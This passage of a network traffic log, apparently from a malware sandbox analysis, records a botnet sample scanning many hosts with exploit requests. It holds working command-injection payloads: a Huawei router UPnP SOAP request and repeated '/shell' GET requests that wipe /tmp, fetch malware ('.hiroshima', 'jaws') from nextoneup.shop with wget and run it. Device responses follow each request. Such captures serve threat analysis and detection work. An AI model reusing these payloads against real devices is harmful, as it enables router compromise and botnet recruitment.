2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:00:43.368411064 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:07.688234091 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
889	192.168.2.13	33568	44.212.152.11	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.603945017 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:21.836662054 CEST	357	IN	HTTP/1.1 404 Not Found Content-Type: application/json; charset=utf-8 Date: Sun, 14 Apr 2024 02:00:21 GMT ETag: W/"82-ZZEOnEkq+Ql15HVNrO69nmmExdw" X-Powered-By: Express Content-Length: 130 Connection: Close Data Raw: 7b 22 73 74 61 74 75 73 43 6f 64 65 22 3a 34 30 34 2c 22 6d 65 73 73 61 67 65 22 3a 22 43 61 6e 6e 6f 74 20 47 45 54 20 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 22 2c 22 65 72 72 6f 72 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"statusCode":404,"message":"Cannot GET /shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws","error":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
890	192.168.2.13	60332	104.87.36.227	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.665957928 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:21.961596012 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:21 GMT Date: Sun, 14 Apr 2024 02:00:21 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 35 32 38 66 37 34 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 31 26 23 34 36 3b 31 64 39 31 39 32 39 35 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 31 35 32 38 66 37 34 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 31 26 23 34 36 3b 31 64 39 31 39 32 39 35 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.1528f748.1713060021.1d919295<P>https://errors.edgesuite.net/9.1528f748.1713060021.1d919295</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
891	192.168.2.13	50184	172.247.69.141	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.771578074 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:21.942672014 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:21 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
892	192.168.2.13	44988	159.89.127.214	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.834259033 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:22.067696095 CEST	354	IN	HTTP/1.1 404 Not Found Server: nginx/1.10.3 (Ubuntu) Date: Sun, 14 Apr 2024 02:00:21 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
893	192.168.2.13	42794	87.171.240.112	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.051471949 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:22.389723063 CEST	786	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 14 Apr 2024 02:00:22 GMT Content-Type: text/html Content-Length: 494 Last-Modified: Sat, 09 Mar 2024 11:06:09 GMT Connection: keep-alive Keep-Alive: timeout=20 ETag: "65ec42a1-1ee" Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 68 74 74 70 22 20 6e 61 6d 65 3d 22 68 74 74 70 22 20 76 61 6c 75 65 3d 22 35 30 30 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 68 74 74 70 73 22 20 6e 61 6d 65 3d 22 68 74 74 70 73 22 20 76 61 6c 75 65 3d 22 35 35 32 32 22 3e 0a 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 70 72 65 66 65 72 5f 68 74 74 70 73 22 20 6e 61 6d 65 3d 22 70 72 65 66 65 72 5f 68 74 74 70 73 22 20 76 61 6c 75 65 3d 22 74 72 75 65 22 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 76 61 72 20 70 72 6f 74 6f 63 6f 6c 3d 22 68 74 74 70 73 3a 22 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 70 6f 72 74 3d 35 35 32 32 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 55 52 4c 3d 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2b 22 3a 22 2b 70 6f 72 74 2b 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2b 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 0a 20 20 20 20 20 20 20 20 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 55 52 4c 29 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html> <body> <input type="hidden" id="http" name="http" value="5000"> <input type="hidden" id="https" name="https" value="5522"> <input type="hidden" id="prefer_https" name="prefer_https" value="true"> </body> <script type="text/javascript"> var protocol="https:"; var port=5522; var URL=protocol+"//"+location.hostname+":"+port+location.pathname+location.search; location.replace(URL); </script></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
894	192.168.2.13	44540	116.96.120.220	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.152290106 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:22.534451962 CEST	289	IN	HTTP/1.1 404 Not Found CONNECTION: close CONTENT-LENGTH: 48 X-XSS-Protection: 1;mode=block Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' X-Content-Type-Options: nosniff CONTENT-TYPE: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
895	192.168.2.13	55830	158.120.209.116	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.618213892 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:22.852960110 CEST	452	IN	HTTP/1.1 404 Not Found Date: Sat, 13 Apr 2024 20:54:33 GMT X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Content-Length: 181 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=8, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6c 6f 63 61 74 65 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 73 68 65 6c 6c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't locate document: /shell</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
896	192.168.2.13	33282	23.87.89.132	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.655595064 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:22.931989908 CEST	206	IN	HTTP/1.1 307 Temporary Redirect Location: /0.1/gui/?item=shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Sun, 14 Apr 2024 02:00:23 GMT Server: HTTP Server

Session ID	Source IP	Source Port	Destination IP	Destination Port
897	192.168.2.13	36268	23.39.224.152	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.677376986 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:22.982255936 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:22 GMT Date: Sun, 14 Apr 2024 02:00:22 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 36 38 34 37 62 35 63 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 32 26 23 34 36 3b 31 32 38 38 35 32 31 63 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 38 36 38 34 37 62 35 63 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 32 26 23 34 36 3b 31 32 38 38 35 32 31 63 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.86847b5c.1713060022.1288521c<P>https://errors.edgesuite.net/9.86847b5c.1713060022.1288521c</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
898	192.168.2.13	53220	125.229.13.9	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.693454027 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:23.006736994 CEST	498	IN	HTTP/1.1 404 Not Found Server: d3ecf13e-4f0a-805d-5650-1a750538a6 Date: Sun, 14 Apr 2024 02:00:22 GMT Cache-Control: no-cache,no-store Content-Type: text/html; charset=%s Connection: close Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 6e 69 5f 68 74 74 70 64 2f 22 3e 64 33 65 63 66 31 33 65 2d 34 66 30 61 2d 38 30 35 64 2d 35 36 35 30 2d 31 61 37 35 30 35 33 38 61 36 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"><H4>404 Not Found</H4>File not found.<HR><ADDRESS><A HREF="http://www.acme.com/software/mini_httpd/">d3ecf13e-4f0a-805d-5650-1a750538a6</A></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
899	192.168.2.13	48156	191.85.52.98	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.740168095 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:23.110481977 CEST	484	IN	HTTP/1.1 400 Bad Request Server: micro_httpd Date: Sun, 14 Apr 2024 02:00:22 GMT Connection: keep-alive Keep-Alive: timeout=60, max=1000 Content-Type: text/html X-Frame-Options: sameorigin X-XSS-Protection: 1 X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self'; frame-ancestors 'self' Content-length: 130 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 48 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 30 20 2d 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a Data Ascii: <HTML><HEAD><TITLE>Document Error: Bad Request</TITLE></HEAD><BODY><H2>Access Error: 400 -- Bad Request</H2></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
900	192.168.2.13	49392	149.106.147.162	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.774034977 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
